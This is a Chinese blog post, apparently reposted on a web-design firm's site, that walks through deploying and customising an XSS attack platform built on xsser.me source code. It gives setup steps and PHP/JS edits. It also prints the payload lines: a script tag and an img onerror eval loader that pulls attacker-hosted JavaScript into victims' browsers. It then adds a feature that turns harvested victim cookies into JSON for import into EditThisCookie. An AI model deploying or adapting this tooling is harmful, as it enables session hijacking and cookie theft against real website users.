本文引用于:征途源碼論壇(www.zhengtuwl.com)-----專注各類免費精品×××的平臺
創(chuàng)新互聯(lián)2013年至今,先為政和等服務(wù)建站,政和等地企業(yè),進行企業(yè)商務(wù)咨詢服務(wù)。為政和企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。
這個周花了點時間搗鼓公司內(nèi)網(wǎng)論壇,不幸發(fā)現(xiàn)原來搭建的 xss platform 掛了,于是重新找了一份代碼進行搭建。
為什么選擇這個呢,主要是因為作者用 Bootstrap 對xsser.me的默認主題進行了修改,看起來高大上了很多~(至于兼容移動端神馬的就算了吧0 0)
下載源碼后,照著作者寫的安裝說明進行修改就好了:
修改config.php里面的數(shù)據(jù)庫連接字段,包括數(shù)據(jù)庫配置(用戶名、密碼、數(shù)據(jù)庫名)、網(wǎng)站 URL 路徑和偽靜態(tài)配置。
把根目錄下的xssplatform.sql導(dǎo)入到數(shù)據(jù)庫中。
在數(shù)據(jù)庫中執(zhí)行 SQL 語句,把數(shù)據(jù)庫中的域名改為自己的域名:
UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')
替換authtest.php中的域名為自己的域名。
首次注冊成功后,修改user表中用戶對應(yīng)的adminlevel為1,將自己定義為超級管理員,可以發(fā)送和管理邀請碼。
根據(jù) server 類型配置偽靜態(tài)文件:
Apache
<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]
Nginx
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;
到這里xss platform就搭建完成了。
我在使用過程碰到的一些 bug,于是對源代碼進行了一番修改。
1. 短地址接口部分失效
在項目代碼中有一個轉(zhuǎn)換短地址的功能,當(dāng)然原版的xsser.me是沒有的,是另外的作者集成進來的。
代碼里提供t.cn和is.gd的短地址轉(zhuǎn)換,對應(yīng)函數(shù)在source/function.php中的第350行和357行。由于is.gd的 api 地址已經(jīng)失效,所以我決定把這一塊內(nèi)容去掉。
先刪掉頁面上展示的內(nèi)容,打開templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,將下面代碼去掉:
<p>
<pre>
<?php echo $this->_tpl_vars['shortShow1']; ?>
</pre>
</p>
然后在source/project.php里面注釋下面兩行:
$shortUrl2=LongUrltoShortUrl2($longUrl);//短網(wǎng)址2$shortShow2=StripStr("<script src=".$shortUrl2."></script>");
2. 去掉JS地址后面的時間戳
JS 地址后面加入時間戳,是為了在修改 JS 代碼后,刷新對方瀏覽器中緩存的 JS。但在實際測試中感覺作用不是很大,一般代碼修改完刷新一下網(wǎng)頁出來的就是新代碼。所以我把 JS URL 中的時間戳去掉了。
在source/project.php里進行下面的修改:
//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("</textarea>'\">
<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
3. HTML 部分優(yōu)化
代碼中部分 Javascript 和 CSS 資源都是通過國外 cdn 獲取的,有時候頁面 load 很久才出來,于是把文中引用的資源都改為本地,當(dāng)然改成國內(nèi) CDN 地址也可以。
在 Sublime Text 中對目錄進行搜索,找出jquery-1.9.1.min.js和bootstrap.min.js引用的地方,然后修改為本地引用,文件放在themes/default里對應(yīng)的文件夾。
<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/jquery.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/bootstrap.min.js"></script>
PS.注意修改后的代碼為兩行。
PPS.其實引用的 Javascript 文件最好放在<body>的最后,但這里需要手動找到所有的 Javascript 進行修改,太麻煩了就沒做。
4. 添加 cookie 復(fù)制功能
一般來說,打到對方 cookie 后,會借用EditThisCookie這個工具把 cookie 導(dǎo)入到 chrome 中。但document.cookie輸出的 cookie 不能直接導(dǎo)入,需要轉(zhuǎn)換成EditThisCookie規(guī)定的 JSON 格式。
源代碼中本身自帶了實現(xiàn)復(fù)制功能的 JS 代碼,但默認是注釋掉的,因為沒有完整實現(xiàn)。同時,這個復(fù)制只是把 JSON 化后的 cookie 通過alert()打印到屏幕上,當(dāng) cookie 內(nèi)容過多時,alert 窗口并不能展示所有的內(nèi)容。
于是我決定對這個功能進行修改,在完成 JSON 格式化的同時,把 JSON 內(nèi)容放入到剪貼板中。
首先對原有 HTML 節(jié)點進行修改,打開%%33^334^334DB811%%project_view.html.php ,找到下面內(nèi)容:
<li><?php echo $this->_tpl_vars['ck']; ?> :
<?php echo $this->_tpl_vars['c']; ?>
</li>
修改為:
<li><?php echo $this->_tpl_vars['ck']; ?> :
<span id="<?php echo $this->_tpl_vars['ck']; ?>">
<?php echo $this->_tpl_vars['c']; ?>
</span>
</li>
<tr class="ohidden">
修改為:
<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">
<!-- <a href="javascript:void(0)">復(fù)制</a> -->
修改為:
<a href="javascript:void(0)">復(fù)制</a>
當(dāng)某一條記錄沒有l(wèi)ocation或者cookie值的時候,Copy()函數(shù)會報錯,所以要加一個判斷條件:
var table = $(obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") { return "";}
修改Copy()函數(shù)的返回形式:
alert(JSON.stringify(data));
return JSON.stringify(data);
為了實現(xiàn)讓 JSON 數(shù)據(jù)復(fù)制到粘貼板上,我們需要借助ZeroClipboard.js這個插件。下面是調(diào)用代碼:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/ZeroClipboard.min.js"></script>
ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));client.on('copy', function(event)
{
var clipboard = event.clipboardData; clipboard.clearData();
clipboard.setData("text/plain", Copy(event.target.id));});client.on('aftercopy', function(event)
{
if (typeof(event.success['text/plain']) == "undefined")
{
alert("cookie復(fù)制失敗,請檢查cookie格式~");
}
else {
alert("cookie已復(fù)制到剪貼板,可以導(dǎo)入EditThisCookie啦~");
}
}
);
這樣就大功告成了~
本文標題:XSS平臺搭建與優(yōu)化(基于xsser.me源碼)
當(dāng)前地址:http://aaarwkj.com/article42/igiehc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機、App設(shè)計、網(wǎng)站內(nèi)鏈、網(wǎng)頁設(shè)計公司、自適應(yīng)網(wǎng)站、搜索引擎優(yōu)化
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)